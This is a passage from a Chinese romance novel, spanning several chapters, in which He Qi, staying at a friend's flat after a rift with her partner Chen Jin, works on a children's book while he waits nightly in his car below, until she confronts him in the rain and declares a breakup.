“那有没有要我带的话?” “没……有,让他把我电脑拿过来,还有我的生活用品,打包好叫跑腿送来吧。” 李家佳套上洞洞鞋,一手拿垃圾袋一手比“ok”,不知道为什么,何漆看着她的背影,总觉得这人似乎莫名的兴奋。 实话说,李家佳确实很兴奋,因为她从来没有在何漆这段感情里有这么强的参与感!虽然这样想很缺德,但这种体验太新奇了。 何漆和陈津的感情会出现这么大的坎坷已经是不可思议,更加不可思议的是她现在竟然当上了传话人!这份完全幼稚的职业,十五六岁的时候她都没当上,转眼二十五六了却荣获offer。 李家佳这么想着,更加快步地走出电梯厅,生怕晚一会儿功夫就见不着人了。 好在陈津压根没有要走的意思,他站在车尾处,背对着草坪依旧在抽烟,看到单元楼里有人出来,眯着眼确认是李家佳,发现她丢完垃圾后径直朝自己走来,便掐了烟丢进一旁的灭烟柱,伸手挥了挥眼前的空气散烟味。 李家佳在他面前三步左右的地方就站定,因此闻不到烟味,表情严肃,没给他什么好脸看,用公事公办的语气吩咐:“何漆叫你把她的电脑和生活用品打包,让跑腿的送过来。” 陈津嗓音很哑地应了声“好”。 两人沉默了两秒,李家佳对他也无话可说,转身就要离开。 陈津却突然叫住她:“她没有……别的话了吗。” 十一月的夜晚,气温已经很低,风吹过一阵,李家佳缩了缩脖,双手插进兜里,有点不悦地看着陈津,故意刺激他:“分手了还能有什么话?” “没有分手。”陈津紧紧皱着眉纠正,很认真地重复一遍,“不是分手,她说冷静下来之后会和我谈。” 李家佳奇怪地看着他,很想问,既然你这么不愿意分手干嘛还要送戒指,但又觉得这问题不该她问,陈津该解释的人也不是她,于是表情并不友善地点点头:“知道了,那等她找你谈吧。” 陈津赶在她离开之前再次开口:“能帮我问问吗?什么时候。” 又有话可以带,李家佳内心挺愿意的,但佯装不耐:“我可以问,但何漆不一定想回答你。” “嗯。”陈津也料到,表示接受地点头,“最近麻烦了,那我先走了。” 也不等李家佳反应,他干脆地转身进车,启动后一脚油门直接踩远了。 李家佳看着那辆潇洒离去的卡宴,眼睛缓缓瞪大,像是难以置信自己听到了什么:“靠?” 麻烦了?这人跟谁麻烦呢?你这种明知对象是不婚主义还要送戒指踩底线的男人才是大麻烦!用得着你来麻烦堂堂嫡长闺! 陈津开在回家的路上,并不知道自己表达礼貌的话语惹怒了何漆的闺蜜,等红灯的间隙扭头看了眼副驾,座位上正安安静静地立着一只红色的卡地亚礼品袋,那里面不是戒指。 他看得出神,连红灯什么时候跳了都不知道,在他后头排队的车辆不爽地按着喇叭,陈津猛然回神,握住方向盘的手紧了紧,重新踩下油门。 两个小区之间距离不算 近,陈津到家后直接在书房拿了电脑和充电线,随后进何漆的卧室,熟门熟路地找到她常用的包,把东西装进去,卫生间里有很多瓶瓶罐罐,他不太懂,便拿出来都小心地装上。 框架眼镜放在床头,他走过去拿,目光却不自觉落在旁边一个包装精致的礼盒上,是方翊送何漆的礼物,昨天她落在车上,他带回来的。 看了那东西好一会儿,陈津忽然转身,把包里的东西全拿了出来,护肤品按照原路摆回浴室,隐形眼镜都是月抛的,也放回储物盒,贴身衣物和睡衣从密封袋里取出,叠好塞进衣柜,然后又把电脑拿出来,把空包安置到原位。 他在屋子里寻觅,最后翻出一个大小合适的购物袋,把电脑和眼镜放进去,满意地拎着颠了颠。 口袋里的手机在这时响了,陈津拿出来,发现是他那个正和老公在国外旅游的小姨打来了电话。 刚接通,对面就迫不及待地传来一道女声,因为是跟自己人讲话,就亲切地略带点方言口音:“喂?阿津啊,小姨这会儿到法国啦,你上次说漆漆喜欢的那个香水牌子我找到了,但你发来这个系列有好几样产品呦,要买哪个啦?” 陈津想起这事儿,抬手揉了揉眉心,不答反问:“小姨你在那里待几天?” 女人很疑惑:“四五天吧,你跟我说好我今天就好去买了。” “你走之前跟我说一声,我再告诉你好吗?我也不太清楚,得问问何漆。” “问漆漆你立马问一下不就好啦?你那里是几点,漆漆睡下了?” 立马问。 陈津敢保证,他现在要是敢告诉何漆我小姨到法国了,你之前想要的法国当地的那款香水叫什么名字,何漆的回答一定会是她不要了。 心里一阵发毛的烦躁,陈津伸手摸了摸购物袋的边缘,心虚地含糊其辞:“反正就是她有点事儿,我过两天再问,不说了小姨,我先挂了。” 不等她小姨追问,陈津自行挂了电话- 另一头,李家佳在内心发表完“麻烦论”后便飞快地上了楼。 开门时何漆在沙发上朝她看过来,李家佳很狗腿地主动上报:“他已经回去整你的东西了。” 何漆点点头,把目光放回眼前的电视上,她搜了部名叫《心灵奇旅》的动画电影看。 李家佳则换上毛绒拖鞋,小步子蹭过来,一屁股坐在她边上,身上带着外头的凉意,语气小心翼翼:“对了,陈津还让我问你冷静下来了没有。” 什么? 何漆冷着脸扭头,她表情没什么变化,但眼神中透露着一股匪夷所思。 李家佳立刻意识到自己这样的传话非常危险,都怪早年没有足够的经验,连连摆手:“错了错了,他是说之前你说过,冷静下来后会和他谈谈,所以问什么时候,不是挑衅,他当时态度挺卑微的。” 李家佳生怕因为自己的传话技术将陈津给坑了,努力回想他的原话,就差当场情景再现。 何漆听明白了,伸手抱住李家佳乱晃的胳膊,头靠在她的肩上看电影,冷淡道:“有什么好谈的。” 嗯,和她当时的回答差不多。李家佳的情绪也跟着她落下来了。 两人便不再聊这事儿,专心看起电视,顺便等跑腿来送东西。 大约一个半小时后,何漆收到陈津发来的微信。 「到了,在楼下。」 电影已经看完,两人正躺在沙发上各自玩手机,何漆站起身打算下楼去拿,看了看时间,不知想到什么,略带怀疑地走到阳台,一眼往下望,看到道路上停着辆眼熟的卡宴。 她嘴角抽了抽,走回客厅道:“东西是陈津送来的。” 李家佳抬眼,反应了两秒,用食指指了指自己,问她意见:“那我再下去拿?” 何漆对她露出有点愧疚的神色。 李家佳则一骨碌从沙发上跳起,火急火燎地披外套:“你要是敢说麻烦我了这种话,我就把你和陈津一起打死。” 于是何漆老老实实闭了嘴。 大约三分钟后,李家佳拎着个略比笔记本电脑大一些的购物袋,表情一言难尽地回来了。 何漆看到那只又薄又扁的购物袋,同样觉得意外地愣了愣,等发现里面只有一台笔记本电脑和一副框架眼镜后,脸色变得罕见的难看。 李家佳甚至听到了记忆中何漆第一次对陈津的唾骂。 “有病。” 怂如李家佳,登时举起三根手指:“对天发誓,我说了要把你的生活用品也带过来。” 生活用品。 何漆看向那副孤零零的眼镜,咬了咬牙:“他脑子有病。” 第19章 时间已经很晚了,何漆觉得再多生气也没什么意义,拎上那只可怜的购物袋,和李家佳互道晚安后各自回房睡觉。 她第二天起得还算早,洗漱完后戴上眼镜,拿着电脑和手机在客厅的沙发上窝着,计划今天把《朱迪的新家》给改完。 快入冬的天气干燥起来,何漆嘴唇上起了一块小小的死皮,她一边小心地用指腹抠着,一边查看微信里的消息。 李家佳的头像上有红点,看时间是她上班路上发来的。 「冰箱里还有板速冻的水饺,你想吃的话帮我消灭一下,不然就要过期了。」 「告诉你,我昨晚三四点的时候起夜,竟然看到陈津的车还在楼下,他估计是在车里过夜了,不过八点多下楼的时候已经不在了。」 “嘶。”何漆手指不自觉地用了点力气,竟硬生生将那块死皮扯了下来。 她垂眼,看到指尖上沾染了点血,知道嘴皮大概也被牵连着撕破了,赶紧抽了张纸巾擦手,又将下唇咬进嘴里吮了吮,果然感到伤口刺痛,还有股淡淡的铁锈味。 「刚睡醒,我去消灭水饺。」 何漆回完消息,把电子设备全扔在一旁,站起身进了厨房。 吃饱饭做什么都有力气,何漆一整个上午都在改写故事结局,在键盘上敲敲打打好久,总算在中午十二点之前写出了最完整的一版,保存后马上发给编辑洛洛。 收到回复时,何漆的午饭才吃了一半。 因为先前就沟通过结局的剧情设计,所以总体上没什么问题,但洛洛提出最后朱迪和父母的沟通部分过于生硬和不真实,给了一些修改建议。 何漆看到后连饭都不吃了,撂下筷子就去拿电脑,认真消化洛洛给的意见后继续修改。 然而不知是什么原因,这部分的剧情写起来就是手感不佳,任她删删减减,在客厅里来回踱步找灵感,就差贴着墙倒立,还是写不出满意的。 最后只能硬着头皮把勉强能看的版本发过去,果不其然得到了洛洛不尽如人意的评价。 对方似乎察觉到何漆正陷入艰难的困境,暂且放下了手头的事情,和她专注地讨论了二十分钟。 过程中,何漆感到自己隐隐约约开了点窍,脑海里有片模糊的东西变得清晰了些,像是擦去了玻璃窗上的水雾。 她信心大涨地重新打开文档,一个小时后又被现实打得鼻青脸肿地回来了。 窗户上的水雾是擦干净了,但她就好像那没戴眼镜的近视眼,还是看不清摸不透。 何漆一面沮丧,一面觉得辜负了洛洛的信任和赏识,可越是绞尽脑汁便越是不得要领,无奈之下只好再次求助。 两人又商量了一会儿,最后洛洛发来语音拍板。 「要不然直接把这部分删去吧,就在朱迪提出疑问的地方结尾。」 听声音是个挺年轻的姑娘,何漆问她: 「这样能行吗?只提出问题却不解决,会不会显得不完整?」 对方似乎真的很忙,连打字都会浪费她的时间,继续发来语音。 「也算一种留白的形式吧,给读者自行思考的空间,我是觉得可行,但还要看二审和终审的编辑怎么想。」 忽然间,何漆脑海里浮现出一句话,是这篇文章通过初审那天,李秀兰发给她的。 「儿童文学是孩子的天地,不是你的讲台。」 那时 何漆完全不清楚她的意思,甚至觉得她在嘲讽自己,到最后也只以为李秀兰是在用这种方式提醒自己文章过了初审。 而眼下,她有些愣神,好像能看得更清了。 何漆向洛洛回复了“好”,并且表达了无比诚挚的感激之情,随后找到和李秀兰的聊天记录,点开,对着那句话发了好久的呆。 其实也说不清到底弄没弄明白,不过她在电脑桌面上创建了一张便笺,把这句话打在了上面。 无论怎样都算了却一桩大事,何漆整个人都舒坦了不止一点儿,放松下来刷了会儿朋友圈,看到张心怡的摸鱼日常、李家佳搞怪的自拍、还有方翊发的几张二十七的照片。 何漆点开live图,双指放大观察了一会儿,看这小蓝猫似乎确实被养得不错,背景音里方翊一喊“小七”,二十七就抬头叫唤。 才休息了没一会儿,何漆就又开始闲不住,花了点时间把先前没看完的《天蓝色的彼岸》读完,吃完饭后又记录新的灵感,构思起新故事。 李家佳今天到家晚,七点出头大门才有动静,何漆闻声放下电脑,推了推眼镜,因为一整天都对着电子屏幕,有点头昏脑涨地看向门口。 李家佳此刻一副被吸干精气的颓丧样,换完拖鞋路过客厅,看到沙发上的何漆时却忽然对她好奇地眨了眨眼:“陈津又在楼下,你知道吗?” 何漆当然不知道,她一整天都在为伟大的儿童文学事业添忙加乱,闻言皱起眉,摇了摇头。 李家佳饶有兴趣地凑过来,直直瘫倒在沙发上,伸了个懒腰问何漆:“他不会打算每天晚上都睡在车里吧?” 何漆合上电脑,用指尖揉了揉眉心,强行将眉头舒展开:“等下雨了就知道走了,缺氧窒息和雨中睡觉二选一。” 李家佳无言以对,冲她竖了个高高的大拇指。 可惜,天不遂漆愿,十一月的江市又干又晴,接连三四天陈津都安然无恙地守在小区里,甚至有居民被他的车吸引,偶尔会过去和他交谈几句。 何漆出门的需求不多,就算真要出去也挑大白天,完全避免了和陈津的见面。 倒是李家佳,根据十分不严谨的控制变量法,兴致勃勃地推理出,陈津每天过来的时间不能确定,六七点算早到,十一十二点是最晚,但每天早上离开的时间基本为六点到七点之间。 然后再通过何漆给出的一系列数据,例如陈津小区和她们小区之间的距离,陈津小区到公司的距离,再加上陈津公司的上班时间,可以完整想象出他一天的动向—— 早上六七点醒来先回家,洗澡洗漱吃早饭,然后开车到公司上班,下班时间的早晚要看运气,之后再来她们小区蹲着,也不会和任何人发消息,就是一个人默默等着,等到天明再默默地离开。 李家佳每晚像人类观察蚂蚁生活似的从阳台往下望,偶尔跟何漆说两句,若她脸色还不错,就能多聊聊,若她有点皱眉,就该换个话题。 家里一只小蚂蚁,楼下一只蚂蚁,李家佳就是那用来传信号的触角,她自己很是乐在其中。 转眼又过三天,何漆这几日灵感爆棚,效率很高地写了两篇短小但有趣的故事,熟练地投至回声出版社的邮箱。 与此同时,《朱迪的新家》二审结果下来,她通过了。 没料到第二次的审核会如此快,何漆看着那封邮件仿佛在做梦,只差最后一关,她的稿件就会被征用了。 她正遏制着自己高兴过头,以免希望越大失望越大,另一条弹进来的消息便恰好转移了她的注意力。 是方翊发来的。 「姐姐,二十七会翻跟头了,你要来我家看它吗?」 何漆看着这条诡异的消息,不懂他想搞什么,于是回: 「可以拍下视频给我看。」 对面看到她的回复,立刻收了花花肠子,老老实实地说事儿。 「你还住在家佳姐那儿吗?我请姐姐吃上次那家麻辣烫呀!」 今天是周末,李家佳作为人民的好教师依旧无假可休,不能陪她一起吃饭,何漆正巧心情不错,又想到那家麻辣烫的美味,便轻松答应下来。 「可以啊,你几点去吃晚饭,我过来。」 方翊说了个时间,又说要来接她,被何漆连发了好几个“不”给拒绝了。 毕竟是要出门吃饭,总不好穿着睡衣,何漆走进李家佳的房间,在衣橱里看了看,选了套她能穿的偏日常的衣服,拍了照片给李家佳发消息知会一声。 李家佳刚上完一节课,在便利店里放风,直接回了条语音,嘴里含含糊糊地像在嚼食物。 “你穿呗,干嘛,要出门啊?” 何漆按着语音键回:“对,出门吃饭。” 对方发来艳羡的语音:“靠,我在吃便利店的饭团,你竟然背着我去吃大餐,等着我下周休息吧,绝对要拉着你去喝酒!” 何漆笑着自嘲:“我现在坐吃山空,舍得吃什么大餐,麻辣烫一碗!” 李家佳幽幽道:“你以为麻辣烫对正在吃饭团的我来说就不算大餐了吗?” 何漆又笑,闲聊了没一会儿,李家佳就要回去上晚课,何漆也是时候出门,便暂且停了话题。 她从卧室出去,路过客厅,动作突然一顿,像是想到什么,脚步移转,先朝阳台走去。 往下瞟一眼,很好,没有任何眼熟的车辆。 今天外头的风还挺大,在室内感觉不到,站在阳台上就被猝不及防刮了一脸,何漆默默退回客厅,捞过沙发上的一条白色围脖,围上出门了。 麻辣烫店铺里的生意依旧火热,何漆进店时方翊已经到了,两人选完菜品,何漆没让方翊请客,各付各的也方便。 饭桌上,依旧是方翊滔滔不绝地挑话题,不让他们之间的气氛冷场,何漆又回到熟悉的相处模式,埋头吃饭的同时也乐意听他讲自己的趣事,偶尔顺着话题往下聊,不会觉得拘谨,就像带一个关系不错的弟弟出来吃饭。 吃一顿麻辣烫花不了多少时间,何漆也有意赶在六七点之前回去,临走时,方翊却怎么说也要送她回家。 “不用了,你租的房子不就在学校旁边?我打车就行。”何漆拒绝着,已经在手机上点开了打车软件。 不料方翊直接从她身后伸手,精准地抽走了手机,按熄屏。 何漆被他这有些冒犯的动作吓到,不悦地转身,却看到一张眨着眼装可怜的面庞。 方翊认错态度良好地把手机放回何漆手里,然后垂着头,双手合十地看她:“我送你回去吧姐姐,我本来就想开车兜兜风,结果你还不让我去接你。” 何漆觉得麻烦地皱了皱眉,刚想开口明确拒绝,方翊却又委屈无辜地朝她拜了拜:“求你了姐姐。” 被这么上赶着护送,何漆一时说不出拒绝的话,沉默了一会儿,最终还是点头答应了。 车上暖气开得足,何漆刚报完地址就觉得热,取了刚挂上的围脖塞到一边,方翊余光瞥到,问:“姐姐,怎么不带我送你的礼物出来?” 何漆闻言一愣,想起那条披肩,似乎是落在陈津的车里了。 她回:“穿披肩吃麻辣烫?一不小心就弄脏了。” 方翊傻傻地笑起来:“好啊,那我们下次去吃西餐,那样姐姐就能穿出来了吧?” 何漆垂眼摁亮手机看时间,随即望向窗外,没有搭话。 总算到了李家佳的小区,何漆照旧让他把车停在小区外,道完别后自己走回去。 深秋的风猛烈刮着,一个劲地往何漆脖子里灌,她藏在口袋里的手紧紧捏着手机,心里莫名有种不踏实,刚刚下车急,总觉得忘了什么事儿。 一路出神地想着,凭借肌肉记忆走回了单元楼,还剩下几步路的距离,她缓缓从思绪里抽离,抬起头。 狂风霎时从背后用尽力气地推着她,何漆却僵硬地止住了步子,脚怎么也迈不开。 视野中,一辆无比熟悉的黑色suv停靠在路边,而陈津就站在那里,被风吹得半眯着眼,直直地盯着她。 他们之间的距离不算近,何漆却仿佛能清晰地看见他,或许是太过熟悉的缘故,连他眼下乌青加重了几分,发型 凌乱了多少,胡茬冒出了多久都可一一描摹。 不过两秒钟时间,那些细微的变化就能够不加思考地出现在脑海里。 何漆无意深究这几天他过得是否糟糕,率先移开视线,故作平静地要往单元楼里走,重新规划了一条能离他最远的路线。 然而她刚深吸一口气迈开脚,背后就乍然传来一道小跑着靠近的声音。 “姐姐!你的围脖落下了。” 第20章 刹那间,何漆的身子都麻了半边,她在原地停顿许久,动弹不得的感觉就仿佛关节被冻僵。 身后的脚步声渐近渐缓,在一米开外的地方彻底停住了。 她呼出口气,转过身,方翊的视线才从远处收回来,同何漆对视一秒,便像什么都没看见似的,笑着把手里抓着的白色围脖递过去。 “姐姐,落在车上了。” 难怪总觉得忘了什么事儿,原来是脖子空落落的。 何漆淡淡“嗯”了一声,接过围脖后又补充:“谢谢啊,麻烦你了。” “小事。”方翊笑得有些过分灿烂,突然伸手拍掉了何漆袖口上沾住的一点绒毛,动作自然迅速到让人反应不过来,“那我就先回去了姐姐。” 何漆垂头扯了扯他刚刚碰过的袖口,下意识微微皱眉,但当务之急是把人快点赶走:“嗯,快回去吧。” 方翊没有多纠缠,离开前又往何漆背后的方向望了一眼,何漆非常清楚地知道他在看什么。 简直有种如芒在背的忐忑。 即便是背对着也无法全然忽视那种如有实质的目光,仿佛人生三大错觉之一——他在看我,但何漆可以肯定,眼下的绝不是错觉。 她手里紧紧攥着那条毛绒围脖,尽力避免朝向陈津所在的方向,脚步飞快地走到了单元门前。 他没有跟上来,也没有叫住她,这种沉着让何漆心里有点疑惑。 她趁着关门的动作,不经意地侧头,朝玻璃外瞟去一眼。 极快的扫视,但凡动态视力差一点的可能就什么也看不到,然而正是这零点几秒的时间,何漆与一道黑沉沉的目光短暂相接了。 心脏跳得越来越快,握在门把上的手险些忘了放,何漆像只惊弓之鸟似的往电梯处走去,心头仍有隐隐的震惊。 那是……陈津的眼神吗? 何漆走进电梯,轻微的失重感加剧了她的心慌,她开始烦躁地胡思乱想,陈津那眼神是什么意思? 责怪她?反了天了,他凭什么来怪她?事情发展到这般田地明明是陈津挑战她的底线在先。 就算真的是在怪她,那又能怪她什么? 难道怪她让自己在楼底下等了那么多天却不肯露面?可笑,又不是她叫他来的。难道怪她和方翊出去吃饭? 口袋里的手机忽然震了一声,何漆被吓一跳,拿出来看,发现是李家佳发来的消息。 她问何漆回家了吗,说自己刚下班,有需要买的东西她可以带回来。 何漆边出电梯边回消息,进家门后火速洗了个热水澡,忙碌的清洁让她全身心放松下来,将那种虚浮的慌张抛诸脑后。 李家佳到家时,就看到带着一身香气和热气的何漆正把换下来的衣服扔进洗衣机。 “今天这么早洗澡。”李家佳随口道。 何漆应了一声,兴致不高。 李家佳没注意,进厨房拿了瓶冰镇的饮料,边喝边问:“陈津又在楼下抽烟了,你回来的时候碰见了吗?” 何漆默了默:“抽烟没看到,人看到了。” 李家佳闻言双眼一亮,立马把饮料放在旁边,凑上来打听:“真的啊?那他跟你说话了吗?” 何漆摇头,李家佳便瘪了瘪嘴,对故事发展不太满意的样子。 在李家佳彻底对他们的八卦放弃期待前,何漆想了想,主动坦白:“今天我是跟方翊出去吃饭,回来的时候围脖落在他车上,他追进来还给我,和陈津碰上了。” 李家佳猛地爆发出尖锐鸣叫:“我靠!有这种事你不第一时间告诉我!” 何漆再次被吓了一跳,搞定完洗衣机后拍拍手走回客厅,平静地答:“但陈津没跟我说话。” 李家佳简直不知道要怎么跟她讲才好,重新拿上饮料坐到她身边,煞有介事:“我觉得其实方翊也挺不错的,年纪虽然小,但做事挺靠谱的,家里也有钱。” 何漆反应过来她的意思,紧紧拧眉:“你说什么呢?” “真的啊。”李家佳诚恳道,“陈津这么踩你红线,你还会原谅他吗?” 何漆用一种奇怪的眼神看着李家佳,像是诧异她怎么会说这种话,她一直觉得李家佳是最了解她的人,比陈津还要了解。 可了解她的话,为什么会撮合她跟方翊。 “我原不原谅陈津,都跟方翊没关系。”何漆严肃地说。 “好吧。”李家佳无奈地耸耸肩,把喝空的饮料瓶磕在茶几上,释然的样子,“难怪你不把这件事第一时间告诉我,原来是因为你觉得他俩都不重要。” “什么?”何漆下意识反问。 李家佳无辜地摊手:“不是吗?和方翊没关系就算了,你就不怕被陈津误会?” “误会什么?” “误会你和方翊的关系啊。” 何漆几乎脱口而出地想说“不会”,话到嘴边却又卡住了。 喉咙里像横着一根鱼刺,这鱼刺是陈津因为她发烧提前结束出差回到家的那个清晨,他步步紧逼问出方翊的名字,是一个小时前在楼下,她听到方翊的声音时下意识的心虚。 她不知道话题是怎么扯到这儿的,她只知道自己的脑子很乱,这种事情越想越令人心烦,带来的只有无穷无尽的负面情绪。 何漆及时打住:“你说得对,现在误不误会都不重要了。” 李家佳看她一眼,好像还有什么想说的,但最终没说出口,反而躺到何漆腿上,闭着眼道:“行吧,你知道我最重要就行。” 何漆垂眼,目光逐渐涣散,出神地想着什么,突然间开口,语气认真:“你说以我现在的存款,能不能跑到一个没人找得到我的地方去生活?” 李家佳抬手,给了她一个脑瓜崩:“在你存到五百万之前,就住在我这儿,用你的存款吃喝玩乐。” 何漆觉得她真夸张:“那要存到我五十岁啊?哪里用这么多,我可以租房,也不一定要多好的房子,而且又不是所有地方的房价都像江市这么贵。” 说到这儿,何漆又开始惆怅:“你说我就不该那么草率地辞职是不是?” “大作家,别质疑自己的决定。”况且以何漆的履历,真想要重新找一份工作也不会是难事,就算待遇不能立刻对标前一份工作,但养活自己不成问题,当初决定辞职也是想好好休息,李家佳不愿她过分焦虑,聊起别的,“对了,我都忘了问,你的写作事业怎么样了?” 总算有件开心事,何漆浅浅地笑起来:“有进步,虽然还没赚到钱。” “会赚到的。”李家佳重新闭上眼,信心十足地告诉她- 接下来两天何漆都老老实实地待在家里,对着电脑勤勤恳恳地打字,为攒够五百万做准备,绝不去想外面的烦心事。 李家佳也习惯了每天回来都会和“前姐夫”在家楼下打个照面,都快半个月了吧?她虽然很佩服陈津的毅力,但渐渐地也不在何漆面前提起。 日子一天天过去,十一月终于在快结束时迎来了久违的雨天。 何漆一早就在天气预报上看到晚间会有雨,外头的天也阴沉沉的,乌云压着,让人喘不上气。 她莫名有些心不在焉,看着文档上大段的文字就开始出神,好像患上了什么阅读障碍。 三番五次地从卧室走到客厅喝水,转换阵地在沙发上打字,连坐着趴着的姿势都换了好几个,还是难以专注 今日不宜写作,何漆最后得出这样的结论,给自己放一天假,选了个影片躺在沙发上看。 等到下午四点出头,小雨便淅淅沥沥地下起来了。 何漆听到雨点打在窗户上的声音,从昏昏欲睡间清醒过来,起身把家里开着通风的窗户都关紧,然后又躺回沙发上。 方才的一点困意被赶跑,何漆无所事事地盯了会儿电视机,回神后给李家佳发微信,问她有没有带伞。 李家佳半个小时后才回消息。 「没看天气预报,外面下雨了吗?没事,反正有车,淋不到多少雨。」 一直到七点,大门处传来李家佳换鞋的动静,她风风火火地走进客厅,连抽了好几张纸巾擦拭肩头薄薄的一层雨丝。 何漆抬头看她,膝上还放着电脑,担忧道:“赶紧去洗个澡吧,当心着凉。” 李家佳说“好”,又风风火火地朝卧室走去。 耳边的雨声不耐其烦地浇着,文档上是何漆花了几个小时才写完的五百字,她心绪不宁,注意力总乱飘。 李家佳头上裹着速干帽从卧室走出来,一路过客厅,去阳台,又进厨房,不知在收拾什么,乒铃乓啷地响。 何漆一颗心全挂在她身上,她走到哪儿自己的目光就跟到哪儿。 李家佳被看得不自在,干脆扭头对上她的视线,问:“怎么了?” 何漆猝不及防与她对视,心中一凛,竟下意识移开视线看电脑,反应过来后才迟钝地抬起头:“啊……没事。” “你怪怪的。”李家佳评价。 何漆知道自己反常,但不想承认和面对,合上电脑从沙发上起来,弯腰收拾着充电线:“我早点洗漱睡觉吧。” 走到半路还险些被过长的充电线绊了一脚。 眼看她的卧室门就要合上,李家佳把速干帽拽下来,不再跟她演戏,直接道:“行了,陈津今天还是来了,你不下去吗?” 关到一半的卧室门停住,何漆神色不明,抿着唇在原地站了许久,最后什么也没说,只摇了摇头,将卧室门轻轻关紧了。 李家佳看着何漆的身影在眼前消失,叹了口气,没有多说什么,继续顶着半干的头发在屋子里摸索,嘴里小声嘀咕:“我记得这里就是有一把……” 眼前黑漆漆的一片,何漆平躺在床上,不确定自己已经躺了多久,两个小时,还是三个小时? 压根没有半分睡意。 她撑着身子把床头的小灯打开,点亮手机屏幕,时间已经过了十二点。 像是梦游般下床,走出卧室,在一片黑灯瞎火中摸到阳台,靠着挂满水痕的玻璃窗往下望。 路灯下,雨幕里,黑色的卡宴依旧停靠在她的目之所及处,沉默寡言,一意孤行。 何漆也说不清自己这一刻的心情,有点无奈、有点气愤。 她转身走回卧室,却没有重新躺去床上,而是拿出了衣柜里的一件长款棉服,套在身上后轻手轻脚地走至玄关。 天太黑,看不清脚下的鞋在哪儿,何漆不得不按亮玄关顶上的灯。 小范围的光亮中,她看见空无一物的鞋柜上孤零零放着一把伞。 何漆心头轻震,蓦然看向主卧的方向,而深处不过一片乌黑。 她回过神来,拿上伞,静悄悄地出门了—— 作者有话说:谁的悲伤~是水做的是水做的[猫头]《 》 20-30 第21章 雨下得比先前又大了些。 何漆裹紧外套,在电梯厅内提前把伞撑开,推动玻璃门,顶着风雨走了出去。 黑色SUV停在正对入户大门的位置,何漆快步行至主驾旁,抬手敲他的车窗。 “扣、扣。” 何漆垂眼,注意到车窗并没有关严实,还留着一条缝隙,刚要凝神往里瞧,车门便“咔哒”一声开了。 她退后一步,看着陈津神情茫然地从驾驶座出来,默默举高撑伞的手臂,将他也笼罩在伞下。 伞面因此离自己远了点,何漆感到背后有丝丝凉意。 陈津盯着她,眉头疑虑地蹙着,久久没说话,似乎在分辨是梦境还是真实。 何漆胸口起伏两次,不想主动开口,好在陈津很快从她手里接过伞,怕她淋着又靠近一步,嗓音低哑:“先上车。” 被陈津撑伞送上副驾,何漆在储物盒里拿纸巾擦后颈处的雨水。 两秒后,主驾的车门也传来开关的声响,车内瞬间涌入另一股气息,她没有侧头去看,而是把纸巾放在了中控台的地方。 陈津收伞、关窗、拿纸,动作一气呵成,呼吸却不像表面那么沉稳。 好半晌,两人各擦各的不说话。 直到何漆都快把脖子给擦红了,不得已转头看去,才猛地和陈津对上了视线。 陈津手里捏着纸巾,半边身子早就湿透了,根本没有擦的必要,他在方才的沉默中一直看着她。 何漆的视线越过他的脸,聚焦在几分钟前还开着一条缝的车窗上,内心升起股莫名的怒火。 这算什么?苦肉计? 她冷冷地把头扭正,语气生硬,像是已经忘了该怎么跟身边这个人交流:“为什么不回家。” “我在等你跟我谈谈。”陈津说。 “你觉得我们之间还有什么好谈的?” 这句话带着一种危险的信号,陈津察觉到,警惕地排查:“什么意思?那天的事是我的错,但我原本要给你的礼物确实不是戒指……” 何漆打断他,努力保持着冷静:“不是给我的礼物你为什么要买?” “恰巧看到了,觉得好看……” 何漆扭过头直视他,再次抢话:“那故意让我看到呢,也是因为觉得好看?” 两相对视,何漆眼里透着逼问、失望,陈津眼里藏着后悔、无力。 “是我冲动,是我看到……” “算了。”何漆没听他说完,今天下来本就不是要听解释,她平复自己的心情,冷淡道,“反正是怎么样都不重要了,麻烦你回家之后把我的东西都打包寄过来,你以后也不要来这里,再来我会叫物业赶人……” 她有意清算,但似乎想到什么十分麻烦的事,突然哽在原地。 陈津同时紧紧抓住了她的手,方才察觉到的危险近在咫尺,他嗓音发紧:“什么意思?” 何漆在想事情,略显恍惚地重复了一遍:“什么意思……” 她失神地自问自答:“分手。” 陈津攥着何漆的那只手倏地捏紧,用力到关节发白,用力到何漆吃痛。 他的手像冰块一样冷,整个人也像堕入冰窟似的发寒:“我不同意。” 何漆想把手抽出来,但根本抽不动,越想离开他抓得越紧。 “放手!”何漆忽然吼他,“分手又不是谈恋爱,不需要两个人都同意!” “怎么样可以原谅我。”陈津死死握着他的手,眼尾开始绝望地泛红,“我都能做,只要可以弥补。” 何漆听着他的话,忽然觉得眼前这人变得些许陌生,她想今晚就不应该下来,搞得两人都失常。 可就算不是今晚,也会是明晚后晚,她真的好累好累。 她想起自己上一次坐在这辆车里,那种声嘶力竭的狼狈,而眼下正是那种崩溃的延续,情绪很淡了,只是很累而已。 红色盒子里的对戒,这记忆太痛,以至于痛过之后身体建立了耐受,有了防御机制,让她提不起劲来。 于是想起了更早之前,她辞职的那天,餐桌上谁也没动的饭菜;夜不归宿后在电梯里的心照不宣;半夜高烧却只能电话联系;同一屋檐下也见不上的面;徐燕与何云平。 太多太多,讲起来都是落入俗套的矫情小事,可所谓感情似乎又正是俗套且矫情的。 “也不止这一件事吧。”何漆忽然泄了力,有气无力地说,“如果 你不能接受我就是因为一个戒指要跟你结束的话,那我告诉你,我们不合适。” “再过一个月,我们都第八年了。”陈津的嗓子嘶哑,好像以为把语速放缓就能代表自己的话多有道理,就可以说服身边的人,“你现在说我们不合适?” 何漆看向窗外,她喉间哽咽一次,艰难发声:“花七八年时间看清两个人究竟合不合适,对我而言也不算亏本。” 雨点凶狠地打在车窗上,仿佛劈头盖脸地将两人浇得沉默,只有紧紧抓握着何漆的那只大手表露着陈津的固执。 体温互相传递着,何漆的掌心都要开始发热,她果断甩开手,知道今夜再怎么耗下去他们也不会达成一致:“伞给我,我要回去睡觉。” 陈津把伞递去,何漆一手接过,一手去开车门,继续道:“记住我刚刚说的话,不要再来……” “不算分手。”陈津语气平静地抢掉了她的尾声。 何漆开门的动作停顿了一秒,但不想多争论,很快撑着伞离开了。 陈津看她渐行渐远的背影彻底消失在视野里,靠着椅背闭上眼,沉缓地吐出长长一口气,默默把车窗又降下一条缝。 何漆从进电梯厅起就一直在垂头叠伞,耷拉在一块的伞面还沾着雨水,她用指尖细致地将每一片伞页都挑成规整的样子。 指腹越来越湿,偶有几滴水珠落下,滴在电梯厅的大理石瓷砖上,滴进寂静无声的电梯里,再一路回到大门口。 伞页整齐地堆积着,一根伞绳做最后的收束,然而水珠还在落,却不是从伞面上掉下,是从何漆眼里。 